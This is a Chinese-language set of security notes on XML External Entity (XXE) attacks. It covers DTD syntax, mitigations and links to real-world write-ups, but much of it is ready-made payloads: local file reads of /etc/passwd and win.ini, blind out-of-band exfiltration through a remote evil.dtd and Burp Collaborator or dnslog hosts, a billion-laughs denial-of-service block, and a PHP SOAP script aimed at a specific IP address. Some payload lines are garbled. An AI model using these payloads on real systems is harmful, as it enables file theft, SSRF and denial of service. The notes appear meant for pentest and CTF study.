攻击原理: 通过xml外部实体,且调用xml解析器读取本地或者远程的数据。
修复方案: 禁用外部实体或者禁止XML拥有自己的DTD–>即文档类代定义模块
xml作用:用于标记用户的数据与标记数据类型
定义以及基本结构
**内部声明DTD**
<!DOCTYPE 根元素 [元素声明]>
**引用外部DTD**
<!DOCTYPE 根元素 SYSTEM "文件名">
#实例
#内部实体
结合外面的参数代的思路
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE root [
<!ENTITY write SYSTEM "file:///flag">
]>
<user><username>&write;</username><password>123456</password></user>
#内部实调用方法
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
#外部实体1-->即利用dtd进行引用的即是外部实体
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>#即利用该dtd属性进行引用
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
#外部实体2-->即进行外部引用
<!ENTITY % an-element "">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;
两种攻击面的xxe
#文件读取-->有回显的xxe
结合外部实体声明(实体名称 SYSTEM ”uri/url“)和参数实体(% 实体名称 SYSTEM “uri-外部dtd”)有两种方式进行注入攻击
#文件读取-无回显(Blind OOB XXE)
连续调用三个参数实体 %remote;%int;%send,其调用顺序如下:
%remote 先调用,调用后请求远程服务器上的 evil.dtd
类似于将 evil.dtd 包含进来,然后 %int 调用 evil.dtd 中的 %file
%file 就会去获取服务器上面的敏感文件
然后将 %file 的结果填入到 %send 以后,再调用 %send
把读取到的数据发送到远程 vps 上,这样就实现了外带
文件读取
其他利用姿势–>协议攻击,ssrf攻击,执行系统命令
典型利用方式与总结
深入了解xxe
三种xxe
结合地址的xxe
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net/"> ]>#内容更改为自己的burp collaborator地址
<x>&xxe;</x>
#或
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM 'http://xxx.dnslog.info/oupeng'>%remote;]>
读取文档的xxe
<!DOCTYPE ANY[<!ENTITY xxe SYSTEM "/etc/passwd">]><rpc
method="noteInputCount"><ps><p name="user_code">1</p></ps><vps><p name="DEFAULT_DATA_SOURCE">%26xxe;</p></vps></rpc>
盲注通用payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///c://windows/win.ini"><!ENTITY % dtd SYSTEM
"http://0.0.0.0/xxe.xml">%dtd; %all;]>
<value>&send;</value>
vps上的xxe
<!ENTITY % all "">
root类
xxe分为有回显与无回显,无回显的可以利用服务器代返回
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "file:///">
%remote;]>
root类的dns的xxe
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "dnslog">
%remote;]>
<!DOCTYPE lolz [ lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;tag>
1.)使用开发语言提供的禁用外部实体的方法
//php:
libxml_disable_entity_loader(true);
//java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
//Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.)过滤用户提交的xml数据
过滤关键字: 3.)不允许xml中具有自己定义的DTD(即文档类型定义)
xxe大杂烩
1.)利用excel进行xee攻击
原理:excel与所有post-Office 2007文件格式一样,现代Excel文件实际上只是XML文档的zip文件。这称为Office Open XML格式或OOXML。
excle构成
_rels:包关系,包含workbook.xml.rels,部分关系项
SharedStrings.xml:共享字符串表部分,用户输入内容
styles.xml:关于font、fill、border等相关样式定义
theme;主题,包含theme1.xml,表示工作表1的主题
workbook.xml:工作薄内容该书
worksheets:sheet相关样式,含有sheet1.xml,表明单元格与样式间的关系、内容等。
利用方法–>即给excel的文件添加xml属性内容,上传excel后进行监听即可
利用代码
典型利用burp中的burp collaborator进行盲测攻击
结合burp联合证明方法–>即直接在xml中添加的链接是burp的
直接进行监听的方法
burp collaborator的使用技巧–>典型盲测必备
确认漏洞代码
更改内容即可
2.)请求中具有xml属性类
如
利用脚本代
$in0=$_GET['name'];
#$in0 = $in0."' and 'a' = 'a";
header("content-type:text/html;charset=utf-8");
try {
$client = new SoapClient('http://180.167.72.216:88//services/MobileService?wsdl');
$xml = "
1
1
1
";
$result=$client->checkUserLogin(array('in0'=>$in0,'in1'=>'123456','in2'=>1));
echo $result->out ;//显示结果
} catch (SOAPFault $e) {
print_r('Exception:'.$e);
}
?>
http://**.**.**.**/webservice/MuiltiExam.asmx?op=DeleteSendedKscj
http://**.**.**.**/webservice/MuiltiExam.asmx?wsdl
利用docs进行攻击
利用方法与excel的同
xxe实战案例2
工具XXExploiter进行探测攻击
xxexploiter安装与攻击
练习
buuctf中的一题xee ctf
实战5篇经典xxe
1. 微信支付Java SDK XXE漏洞实战浅析
http://www.nxadmin.com/web/1686.html
2. Exploiting XXE with Excel
https://www.4armed.com/blog/exploiting-xxe-with-excel/
3. XXE to 域控(基于资源的约束委派)
https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/#4-xxe-to-%E5%9F%9F%E6%8E%A7
4. Exploiting XXE for SSRF
https://gupta-bless.medium.com/exploiting-xxe-for-ssrf-c23892374c0c
5. From blind XXE to root-level file read access(强烈推荐)
https://honoki.net/2018/12/12/from-blind-xxe-to-root-level-file-read-access/